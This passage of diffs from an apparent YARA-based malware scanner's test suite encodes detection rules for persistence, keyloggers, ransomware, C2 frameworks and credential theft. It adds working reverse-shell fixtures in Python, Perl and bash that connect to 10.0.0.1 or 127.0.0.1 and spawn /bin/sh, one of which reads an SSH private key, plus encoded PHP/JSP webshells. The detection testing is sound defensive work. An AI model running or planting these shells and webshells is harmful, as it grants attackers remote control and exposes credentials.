+ICAgICAgIHNldmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43NSINCiAg +ICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1i +YXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRoaWRkZW5fdXNlciAgICAgICA9IC91c2VyYWRk +XHMrLiotb1xzKy11XHMrMC8gbm9jYXNlDQogICAgICAgICRjcm9uX3BlcnNpc3QgICAgICA9IC9j +cm9udGFiXHMuKihjdXJsfHdnZXR8bmN8YmFzaHxweXRob24pLyBub2Nhc2UNCiAgICAgICAgJHNz +aF9pbmplY3QgICAgICAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5zc2hcL2F1dGhvcml6ZWRfa2V5 +cy8gbm9jYXNlDQogICAgICAgICRzeXN0ZW1kX3BlcnNpc3QgICA9IC9cW1NlcnZpY2VcXS4qRXhl +Y1N0YXJ0LioobmN8YmFzaHxweXRob258Y3VybCkvIG5vY2FzZQ0KICAgICAgICAkYmFzaHJjX3Bl +cnNpc3QgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLmJhc2hyYy8gbm9jYXNlDQogICAgICAgICRw +cm9maWxlX3BlcnNpc3QgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwucHJvZmlsZS8gbm9jYXNlDQog +ICAgICAgICRpbml0X3BlcnNpc3QgICAgICA9IC9cL2V0Y1wvaW5pdFwuZFwvLioobmN8YmFzaHxy +ZXZlcnNlKS8gbm9jYXNlDQogICAgICAgICRsZF9wcmVsb2FkICAgICAgICA9IC9MRF9QUkVMT0FE +LipcLnNvLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoN +CnJ1bGUga2V5bG9nZ2VyX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlw +dGlvbiA9ICJLZXlsb2dnZXIgZnVuY3Rpb25hbGl0eSBpbiBzY3JpcHRzIG9yIHNvdXJjZSBjb2Rl +Ig0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdI +Ig0KICAgICAgICBjb25maWRlbmNlID0gIjAuNyINCiAgICBzdHJpbmdzOg0KICAgICAgICAkcHlu +cHV0ICAgICAgICAgPSAvZnJvbVxzK3B5bnB1dFwua2V5Ym9hcmRccytpbXBvcnQvIG5vY2FzZQ0K +ICAgICAgICAka2V5Ym9hcmRfaG9vayAgPSAva2V5Ym9hcmRcLihvbl9wcmVzc3xob29rfG9uX3Jl +bGVhc2UpLyBub2Nhc2UNCiAgICAgICAgJHhpbnB1dF90ZXN0ICAgID0gL3hpbnB1dFxzK3Rlc3Qv +IG5vY2FzZQ0KICAgICAgICAkbG9na2V5cyAgICAgICAgPSAvbG9na2V5c1xzKy0tc3RhcnQvIG5v +Y2FzZQ0KICAgICAgICAka2V5YmRfZXZlbnQgICAgPSAvKEdldEFzeW5jS2V5U3RhdGV8U2V0V2lu +ZG93c0hvb2tFeC4qV0hfS0VZQk9BUkQpLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAg +IGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgcmFuc29td2FyZV9iZWhhdmlvcg0Kew0KICAgIG1ldGE6 +DQogICAgICAgIGRlc2NyaXB0aW9uID0gIlJhbnNvbXdhcmUtbGlrZSBwYXR0ZXJucyAobWFzcyBl +bmNyeXB0aW9uLCByYW5zb20gbm90ZXMpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0K +ICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjgi +DQogICAgc3RyaW5nczoNCiAgICAgICAgJHdhbGtfZW5jcnlwdCAgID0gL29zXC53YWxrXHMqXCgu +KlwuKGVuY3J5cHR8Y2lwaGVyKS8NCiAgICAgICAgJHJhbnNvbV9ub3RlICAgID0gLyh5b3VyXHMr +ZmlsZXNccysoaGF2ZVxzK2JlZW58YXJlKVxzK2VuY3J5cHRlZHxwYXlccysuKmJpdGNvaW58c2Vu +ZFxzKy4qYnRjKS8gbm9jYXNlDQogICAgICAgICRleHRfcmVuYW1lICAgICA9IC9vc1wucmVuYW1l +XHMqXCguKlwrXHMqWyciXVwuKGxvY2tlZHxlbmNyeXB0ZWR8Y3J5cHR8ZW5jKVsnIl1ccypcKS8N +CiAgICAgICAgJG1hc3Nfb3ZlcndyaXRlID0gL29zXC53YWxrXHMqXCguKm9wZW5ccypcKC4qWydc +Il13YlsnXCJdXCkvDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpy +dWxlIGMyX2ZyYW1ld29ya19pbmRpY2F0b3JzDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3Jp +cHRpb24gPSAiQ29tbWFuZC1hbmQtY29udHJvbCBmcmFtZXdvcmsgaW5kaWNhdG9ycyAoQ29iYWx0 +IFN0cmlrZSwgTWV0YXNwbG9pdCwgU2xpdmVyLCBldGMuKSINCiAgICAgICAgY2F0ZWdvcnkgPSAi +bWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVu +Y2UgPSAiMC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8y +M3gwL3NpZ25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRjb2JhbHRfc3RyaWtl +ICA9ICJjb2JhbHRzdHJpa2UiIG5vY2FzZQ0KICAgICAgICAkbWV0ZXJwcmV0ZXIgICAgPSAibWV0 +ZXJwcmV0ZXIiIG5vY2FzZQ0KICAgICAgICAkbWV0YXNwbG9pdCAgICAgPSAvbWV0YXNwbG9pdC4q +KHBheWxvYWR8ZXhwbG9pdHxzdGFnZXIpLyBub2Nhc2UNCiAgICAgICAgJGVtcGlyZSAgICAgICAg +ID0gL3Bvd2Vyc2hlbGwuKmVtcGlyZS8gbm9jYXNlDQogICAgICAgICRzbGl2ZXJfYzIgICAgICA9 +IC9zbGl2ZXIuKihpbXBsYW50fGJlYWNvbnxzZXNzaW9uKS8gbm9jYXNlDQogICAgICAgICRjb3Zl +bmFudCAgICAgICA9IC9Db3ZlbmFudC4qKEdydW50fExpc3RlbmVyKS8gbm9jYXNlDQogICAgICAg +ICRoYXZvY19jMiAgICAgICA9IC9oYXZvYy4qKGRlbW9ufHRlYW1zZXJ2ZXIpLyBub2Nhc2UNCiAg +ICAgICAgJGJlYWNvbl9jb25maWcgID0gLyhCZWFjb25UeXBlfEMyU2VydmVyfFB1YmxpY0tleS4q +d2F0ZXJtYXJrKS8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0K +fQ0KDQpydWxlIGluZm9fc3RlYWxlcg0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9u +ID0gIkluZm9ybWF0aW9uIHN0ZWFsZXIgcGF0dGVybnMgKGNyZWRlbnRpYWwgaGFydmVzdGluZywg +YnJvd3NlciBkYXRhIHRoZWZ0KSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAg +ICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0KICAgICAg +ICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2Ui +DQogICAgc3RyaW5nczoNCiAgICAgICAgJGNocm9tZV9sb2dpbiAgICAgPSAvQ2hyb21lLipMb2dp +blxzKkRhdGEvIG5vY2FzZQ0KICAgICAgICAkZmlyZWZveF9sb2dpbnMgICA9IC9sb2dpbnNcLmpz +b24uKmZpcmVmb3gvIG5vY2FzZQ0KICAgICAgICAkYnJvd3Nlcl9jb29raWVzICA9IC9Db29raWVz +LiooY2hyb21lfGZpcmVmb3h8ZWRnZXxvcGVyYSkvIG5vY2FzZQ0KICAgICAgICAkd2FsbGV0X3N0 +ZWFsICAgICA9IC93YWxsZXRcLmRhdC8gbm9jYXNlDQogICAgICAgICRtaW1pa2F0eiAgICAgICAg +ID0gIm1pbWlrYXR6IiBub2Nhc2UNCiAgICAgICAgJGxhemFnbmUgICAgICAgICAgPSAibGF6YWdu +ZSIgbm9jYXNlDQogICAgICAgICRjcmVkX2R1bXBfc2FtICAgID0gL3JlZ1xzK3NhdmVccysuKlxc +c2FtLyBub2Nhc2UNCiAgICAgICAgJG50ZHNfZHVtcCAgICAgICAgPSAvbnRkc1wuZGl0LyBub2Nh +c2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQo= diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index a4e8ebce2..f7e5b9daa 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -401,6 +401,8 @@ def _perl_sh_helper_hyphen_fixture() -> str: "aW5ldF9hdG9uKCRpcCkpKTsKb3BlbihTVERJTiwgIjwmU09DS0VUIik7CmV4ZWMoInNoLWhl" "bHBlciIpOwo=" ).decode() + + _WEBSHELL_FIXTURES = { "behinder_php": "PD9waHAgQGVycm9yX3JlcG9ydGluZygwKTsgc2Vzc2lvbl9zdGFydCgpOyAka2V5PSJlNDVlMzI5ZmViNWQ5MjViIjsKJF9TRVNTSU9OWydrJ109JGtleTsgJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CiRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOyBldmFsKCRwb3N0KTsgPz4K", "behinder_jsp": "PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qIiU+CjwlIFN0cmluZyBrPSJlNDVlMzI5ZmViNWQ5MjViIjsgc2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7CkNpcGhlciBjPUNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7ICU+Cg==", @@ -413,11 +415,202 @@ def _webshell_fixture(name: str) -> str: return base64.b64decode(_WEBSHELL_FIXTURES[name]).decode() +def _python_read_file_between_connect_and_shell_fixture() -> str: + """A real reverse shell that reads a local file (``key = open(...).read()``) + between ``connect`` and ``os.dup2``. + + A ``= open(`` anywhere in the script must never cancel otherwise valid + socket-redirection-plus-shell evidence; the socket's descriptor is still + wired onto stdin and a shell is still executed. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgb3MsIHN1YnByb2Nlc3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0" + "LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLjEiLCA0" + "NDQ0KSkKa2V5ID0gb3Blbihvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLnNzaC9pZF9yc2EiKSku" + "cmVhZCgpCm9zLmR1cDIocy5maWxlbm8oKSwgMCkKb3MuZHVwMihzLmZpbGVubygpLCAxKQpv" + "cy5kdXAyKHMuZmlsZW5vKCksIDIpCnN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWki" + "XSkK" + ).decode() + + +def _python_probe_socket_then_clean_reverse_shell_fixture() -> str: + """A probe socket plus ``host = open(...).read()``, then a second, clean + ``socket``/``connect``/``os.dup2``/``subprocess.call(["/bin/sh", "-i"])``. + + One tainted ``= open(`` span must not suppress a later, independent and + genuine reverse shell in the same file. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgb3MsIHN1YnByb2Nlc3MKcHJvYmUgPSBzb2NrZXQuc29ja2V0KHNv" + "Y2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCnByb2JlLmNvbm5lY3QoKCIxMC4w" + "LjAuMiIsIDkwMDApKQpob3N0ID0gb3BlbigiL2V0Yy9ob3N0bmFtZSIpLnJlYWQoKQpwcm9i" + "ZS5jbG9zZSgpCnMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09D" + "S19TVFJFQU0pCnMuY29ubmVjdCgoIjEwLjAuMC4xIiwgNDQ0NCkpCm9zLmR1cDIocy5maWxl" + "bm8oKSwgMCkKb3MuZHVwMihzLmZpbGVubygpLCAxKQpvcy5kdXAyKHMuZmlsZW5vKCksIDIp" + "CnN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkK" + ).decode() + + +def _python_reverse_shell_with_cleanup_open_fixture() -> str: + """A genuine reverse shell followed by a cleanup ``marker = open(...)`` and + a second ``subprocess.call(["sh", "-c", ...])``. + + A trailing ``= open(`` must not cancel the earlier socket-plus-shell match. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgb3MsIHN1YnByb2Nlc3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0" + "LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLjEiLCA0" + "NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLCAwKQpvcy5kdXAyKHMuZmlsZW5vKCksIDEpCm9z" + "LmR1cDIocy5maWxlbm8oKSwgMikKc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJd" + "KQptYXJrZXIgPSBvcGVuKCIvdG1wL2RvbmUubWFya2VyIiwgInciKQpzdWJwcm9jZXNzLmNh" + "bGwoWyJzaCIsICItYyIsICJlY2hvIGRvbmUiXSkK" + ).decode() + + +def _python_dup2_loop_reverse_shell_fixture() -> str: + """A multiline reverse shell that redirects via a + ``for fd in (0, 1, 2): os.dup2(s.fileno(), fd)`` loop. + + The loop form carries the socket descriptor onto every standard stream; + the stricter multiline evidence must recognize it. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgb3MsIHN1YnByb2Nlc3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0" + "LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLjEiLCA0" + "NDQ0KSkKZm9yIGZkIGluICgwLCAxLCAyKToKICAgIG9zLmR1cDIocy5maWxlbm8oKSwgZmQp" + "CnN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkK" + ).decode() + + +def _python_with_open_local_commands_fixture() -> str: + """The idiomatic ``with open("local.commands") as commands:`` form that + redirects a *local* file descriptor onto stdin, after the socket is closed. + + YARA cannot bind the redirected descriptor to the connected socket, so + this is indistinguishable from a real shell at the pattern level; it must + therefore be reported at reduced severity (the ``reverse_shell_multiline`` + heuristic), never as a CRITICAL ``reverse_shell``. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgb3MsIHN1YnByb2Nlc3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0" + "LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLjEiLCA0" + "NDQ0KSkKcy5jbG9zZSgpCndpdGggb3BlbigibG9jYWwuY29tbWFuZHMiKSBhcyBjb21tYW5k" + "czoKICAgIG9zLmR1cDIoY29tbWFuZHMuZmlsZW5vKCksIDApCiAgICBzdWJwcm9jZXNzLnJ1" + "bihbIi9iaW4vc2giXSkK" + ).decode() + + +def _perl_local_cmds_dup_fixture() -> str: + """Perl ``open(CMDS, "<", "local.commands"); open(STDIN, "<&CMDS")`` after a + closed socket, then ``exec("/bin/sh")``. + + The ``<&`` dup is from a *local* file handle, not the socket; because the + operand cannot be bound to the socket, this is reported only at reduced + severity, never CRITICAL. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" + "b3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwg" + "aW5ldF9hdG9uKCRpcCkpKTsKY2xvc2UoU09DS0VUKTsKb3BlbihDTURTLCAiPCIsICJsb2Nh" + "bC5jb21tYW5kcyIpOwpvcGVuKFNURElOLCAiPCZDTURTIik7CmV4ZWMoIi9iaW4vc2giKTsK" + ).decode() + + +def _perl_three_arg_dup_fixture() -> str: + """Perl three-argument ``open(STDIN, "<&", $fh)`` dup after a closed socket, + then ``exec("/bin/sh")``. + + ``$fh`` is an unbound handle; like the two-argument local-dup form, this is + reported at reduced severity, never CRITICAL. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" + "b3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwg" + "aW5ldF9hdG9uKCRpcCkpKTsKY2xvc2UoU09DS0VUKTsKb3BlbihTVERJTiwgIjwmIiwgJGZo" + "KTsKZXhlYygiL2Jpbi9zaCIpOwo=" + ).decode() + + +def _bash_reverse_shell_after_open_line_fixture() -> str: + """A ``bash -i >& /dev/tcp/...`` payload several lines below an unrelated + ``settings = open("settings.ini")`` line. + + With the former ``$python_local_open`` helper string removed, the finding + must be located at the shell payload, not pulled up to the ``open`` line. + """ + return base64.b64decode( + "aW1wb3J0IG9zCnNldHRpbmdzID0gb3Blbigic2V0dGluZ3MuaW5pIikKaG9zdCA9ICIxMjcu" + "MC4wLjEiCnBvcnQgPSA0NDQ0CnBheWxvYWQgPSAiY29ubmVjdCBiYWNrIgpvcy5zeXN0ZW0o" + "ImJhc2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzQ0NDQgMD4mMSIpCg==" + ).decode() + + +def _single_line_python_socket_shells() -> dict[str, str]: + """Single-line Python socket reverse shells that ``main``'s single-line + ``$python_socket`` detects. Each keeps ``socket.socket(...SOCK_STREAM...)`` + and ``.connect(`` on one line, so restoring main's string must keep them + CRITICAL regardless of the specific descriptor/exec form that follows. + """ + return { + "dup2_list_comprehension": ( + "s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); " + 's.connect(("10.0.0.1",4444)); ' + "[os.dup2(s.fileno(),fd) for fd in (0,1,2)]; " + 'subprocess.call(["/bin/sh","-i"])\n' + ), + "dup2_sys_stdin_fileno": ( + "s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); " + 's.connect(("10.0.0.1",4444)); ' + "os.dup2(s.fileno(),sys.stdin.fileno()); " + 'subprocess.call(["/bin/sh","-i"])\n' + ), + "stdin_socket_object": ( + "s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); " + 's.connect(("10.0.0.1",4444)); ' + 'subprocess.call(["/bin/sh","-i"],stdin=s,stdout=s,stderr=s)\n' + ), + "subprocess_alias": ( + "import subprocess as sp; " + "s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); " + 's.connect(("10.0.0.1",4444)); ' + "os.dup2(s.fileno(),0); " + 'sp.call(["/bin/sh","-i"])\n' + ), + "pty_spawn_bash": ( + "s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); " + 's.connect(("10.0.0.1",4444)); ' + 'pty.spawn("/usr/bin/bash")\n' + ), + } + + +def _single_line_perl_socket_shell() -> str: + """A single-line Perl socket reverse shell ending in ``system("/bin/sh -i")`` + that ``main``'s single-line ``$perl_socket`` detects.""" + return ( + 'use Socket; socket(SOCK,PF_INET,SOCK_STREAM,getprotobyname("tcp")); ' + "connect(SOCK,sockaddr_in($port,inet_aton($ip))); " + 'system("/bin/sh -i");\n' + ) + + def _has_rule(findings: list, rule_name: str) -> bool: """Return True when a finding message references a specific YARA rule.""" return any(rule_name in f.message for f in findings) +def _has_critical_reverse_shell(findings: list) -> bool: + """True when any CRITICAL finding comes from the certain ``reverse_shell`` + rule (as opposed to the reduced-severity ``reverse_shell_multiline`` + heuristic).""" + return any( + "reverse_shell" in f.message + and "reverse_shell_multiline" not in f.message + and f.severity == "CRITICAL" + for f in findings + ) + + # ── Core pipeline ──────────────────────────────────────────────────── @@ -1114,27 +1307,34 @@ def test_reverse_shell_rule_does_not_match_perl_helper_exec_with_sh_prefix(self) ) assert not _has_rule(findings, "reverse_shell") - def test_reverse_shell_rule_does_not_match_python_dup2_local_open(self): + def test_reverse_shell_rule_does_not_critical_match_python_dup2_local_open(self): """``dup2`` redirection sourced from a local ``open()`` call, not the - (already closed) socket, must NOT satisfy `$python_socket`. See - `_python_dup2_local_open_fixture`: this must NOT match. + (already closed) socket, must NOT yield a CRITICAL ``reverse_shell``. + + YARA cannot bind the redirected descriptor to the connected socket, so + this is reported only by the reduced-severity ``reverse_shell_multiline`` + heuristic (never cancelled outright — cancellation would also drop real + shells). See `_python_dup2_local_open_fixture`. """ findings = _run_builtin( _python_dup2_local_open_fixture(), "scripts/backdoor.py", ) - assert not _has_rule(findings, "reverse_shell") + assert not _has_critical_reverse_shell(findings) - def test_reverse_shell_rule_does_not_match_python_stdin_kwarg_local_open(self): + def test_reverse_shell_rule_does_not_critical_match_python_stdin_kwarg_local_open(self): """The ``stdin=`` keyword-argument form of redirection sourced from a - local ``open()`` call must NOT satisfy `$python_socket` either. See - `_python_stdin_kwarg_local_open_fixture`: this must NOT match. + local ``open()`` call must NOT yield a CRITICAL ``reverse_shell`` either. + + Like the ``dup2`` form, the descriptor cannot be bound to the socket, so + it is reported only by the reduced-severity heuristic. See + `_python_stdin_kwarg_local_open_fixture`. """ findings = _run_builtin( _python_stdin_kwarg_local_open_fixture(), "scripts/backdoor.py", ) - assert not _has_rule(findings, "reverse_shell") + assert not _has_critical_reverse_shell(findings) def test_reverse_shell_rule_does_not_match_python_dup2_sh_helper_hyphen(self): """A non-shell helper whose name has ``sh`` as a prefix before a @@ -1183,6 +1383,135 @@ def test_reverse_shell_rule_does_not_match_perl_sh_helper_hyphen(self): ) assert not _has_rule(findings, "reverse_shell") + # ── Genuine shells must not be cancelled by an unrelated ``open`` ────── + # Regressions for the removed ``$python_local_open`` negative exclusion: + # a ``= open(`` anywhere in the file must never suppress real + # socket-redirection-plus-shell evidence. + + def test_reverse_shell_detects_shell_that_reads_file_before_dup2(self): + """A ``key = open(...).read()`` between ``connect`` and ``dup2`` must + not cancel detection. See + `_python_read_file_between_connect_and_shell_fixture`.""" + findings = _run_builtin( + _python_read_file_between_connect_and_shell_fixture(), + "scripts/backdoor.py", + ) + assert _has_rule(findings, "reverse_shell") + assert any(f.rule_id == "YR1" for f in findings) + + def test_reverse_shell_detects_clean_shell_after_probe_socket_and_open(self): + """A probe socket plus ``host = open(...).read()`` must not suppress a + later, independent genuine shell. See + `_python_probe_socket_then_clean_reverse_shell_fixture`.""" + findings = _run_builtin( + _python_probe_socket_then_clean_reverse_shell_fixture(), + "scripts/backdoor.py", + ) + assert _has_rule(findings, "reverse_shell") + assert any(f.rule_id == "YR1" for f in findings) + + def test_reverse_shell_detects_shell_with_trailing_cleanup_open(self): + """A trailing cleanup ``marker = open(...)`` must not cancel the earlier + socket-plus-shell match. See + `_python_reverse_shell_with_cleanup_open_fixture`.""" + findings = _run_builtin( + _python_reverse_shell_with_cleanup_open_fixture(), + "scripts/backdoor.py", + ) + assert _has_rule(findings, "reverse_shell") + assert any(f.rule_id == "YR1" for f in findings) + + def test_reverse_shell_detects_dup2_loop_redirection(self): + """A ``for fd in (0, 1, 2): os.dup2(s.fileno(), fd)`` loop form must be + recognized by the multiline evidence. See + `_python_dup2_loop_reverse_shell_fixture`.""" + findings = _run_builtin( + _python_dup2_loop_reverse_shell_fixture(), + "scripts/backdoor.py", + ) + assert _has_rule(findings, "reverse_shell") + assert any(f.rule_id == "YR1" for f in findings) + + # ── Unbound local redirection: reduced severity, never CRITICAL ─────── + + def test_with_open_local_commands_is_not_critical(self): + """The idiomatic ``with open(...) as commands:`` + ``dup2(..., 0)`` + + shell form, from a local file after the socket is closed, must not be a + CRITICAL ``reverse_shell``. See `_python_with_open_local_commands_fixture`.""" + findings = _run_builtin( + _python_with_open_local_commands_fixture(), + "scripts/backdoor.py", + ) + assert not _has_critical_reverse_shell(findings) + + def test_perl_local_cmds_dup_is_not_critical(self): + """Perl ``open(STDIN, "<&CMDS")`` dup from a local file handle, after a + closed socket, must not be a CRITICAL ``reverse_shell``. See + `_perl_local_cmds_dup_fixture`.""" + findings = _run_builtin( + _perl_local_cmds_dup_fixture(), + "scripts/backdoor.pl", + ) + assert not _has_critical_reverse_shell(findings) + + def test_perl_three_arg_dup_is_not_critical(self): + """Perl three-argument ``open(STDIN, "<&", $fh)`` dup from an unbound + handle must not be a CRITICAL ``reverse_shell``. See + `_perl_three_arg_dup_fixture`.""" + findings = _run_builtin( + _perl_three_arg_dup_fixture(), + "scripts/backdoor.pl", + ) + assert not _has_critical_reverse_shell(findings) + + # ── Location integrity (removed helper string no longer skews offsets) ── + + def test_reverse_shell_location_not_pulled_to_unrelated_open_line(self): + """With ``$python_local_open`` gone, a ``bash -i >& /dev/tcp/...`` + payload must be located at the shell line, not at an earlier unrelated + ``settings = open(...)`` line. See + `_bash_reverse_shell_after_open_line_fixture`.""" + findings = _run_builtin( + _bash_reverse_shell_after_open_line_fixture(), + "scripts/backdoor.py", + ) + revshell = [f for f in findings if "reverse_shell" in f.message] + assert revshell + # The payload is on line 6; the unrelated ``open`` is on line 2. + assert all(f.start_line >= 6 for f in revshell) + assert all("open(" not in (f.matched_text or "") for f in revshell) + + # ── Single-line shells preserved at CRITICAL (no main regressions) ──── + + @pytest.mark.parametrize( + "name", + [ + "dup2_list_comprehension", + "dup2_sys_stdin_fileno", + "stdin_socket_object", + "subprocess_alias", + "pty_spawn_bash", + ], + ) + def test_single_line_python_socket_shells_remain_critical(self, name): + """Single-line Python socket shells that ``main`` detects must stay + CRITICAL ``reverse_shell``. See `_single_line_python_socket_shells`.""" + findings = _run_builtin( + _single_line_python_socket_shells()[name], + "scripts/backdoor.py", + ) + assert _has_critical_reverse_shell(findings) + + def test_single_line_perl_socket_shell_remains_critical(self): + """A single-line Perl socket shell ending in ``system("/bin/sh -i")`` + that ``main`` detects must stay CRITICAL. See + `_single_line_perl_socket_shell`.""" + findings = _run_builtin( + _single_line_perl_socket_shell(), + "scripts/backdoor.pl", + ) + assert _has_critical_reverse_shell(findings) + def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path): _write_rule( tmp_path, From 7eebd72711311158cc734534e3528e9390c589f5 Mon Sep 17 00:00:00 2001 From: Udaya Tejas Date: Fri, 2 Oct 2026 14:43:08 -0400 Subject: [PATCH 7/8] test(yara): encode single-line fixtures, pin multiline heuristic severity, refresh docstrings Address @rng1995's re-review (test-file-only; packaged rules unchanged): - Base64-encode the single-line reverse-shell fixtures (_single_line_python_socket_shells / _single_line_perl_socket_shell), matching the module's encoded-fixture convention so on-access AV scanners do not quarantine the test file. The single-line main-regression cases (dup2 list-comprehension, sys.stdin.fileno, stdin=s, subprocess alias, pty.spawn, Perl system()) stay CRITICAL reverse_shell. - Tighten the certain-vs-heuristic severity checks to the exact rule name. Add _is_rule / _findings_from_rule (match the quoted rule name in the message, so "reverse_shell" no longer matches "reverse_shell_multiline") and _assert_only_multiline_heuristic: exactly one reverse_shell_multiline YR1 finding at HIGH / confidence 0.6 and no certain reverse_shell. Apply it to the Python and Perl multiline positives and to the unbound local-open lookalikes, so a silent promotion of the heuristic to CRITICAL/0.85 now fails the suite. - Refresh stale docstrings that still described the abandoned single-rule design (dot-all plus dup2/shell evidence bolted onto $python_socket): at this head $python_socket/$perl_socket are main's unchanged single-line strings and the multiline case is reported by reverse_shell_multiline. Signed-off-by: Udaya Tejas --- tests/nodes/analyzers/test_static_yara.py | 289 ++++++++++++---------- 1 file changed, 165 insertions(+), 124 deletions(-) diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index f7e5b9daa..2a0b3357a 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -111,7 +111,7 @@ def _benign_python_socket_client_fixture() -> str: """An ordinary multiline Python TCP client — connects, exchanges data, closes. No descriptor redirection (``os.dup2``) or shell execution follows the - ``connect()`` call, so this must NOT match ``reverse_shell``/``$python_socket`` + ``connect()`` call, so this must NOT match ``reverse_shell`` even though it shares the same ``socket.socket(...)`` / ``.connect(...)`` shape as `_multiline_python_socket_reverse_shell_fixture`. """ @@ -126,7 +126,8 @@ def _benign_python_socket_client_fixture() -> str: def _multiline_perl_socket_reverse_shell_fixture() -> str: """A Perl reverse shell: connect, redirect STDIN/STDOUT/STDERR onto the socket, then exec a shell. Mirrors the descriptor-redirection + exec shape - `$perl_socket` must now require, matching the Python fixture's convention. + the ``reverse_shell_multiline`` heuristic requires, matching the Python + fixture's convention. """ return base64.b64decode( "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" @@ -141,7 +142,7 @@ def _benign_perl_socket_client_fixture() -> str: """An ordinary Perl TCP client — connects, exchanges a line, closes. No descriptor redirection or ``exec`` follows the ``connect()`` call, so - this must NOT match ``reverse_shell``/``$perl_socket``. + this must NOT match ``reverse_shell``. """ return base64.b64decode( "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" @@ -156,7 +157,7 @@ def 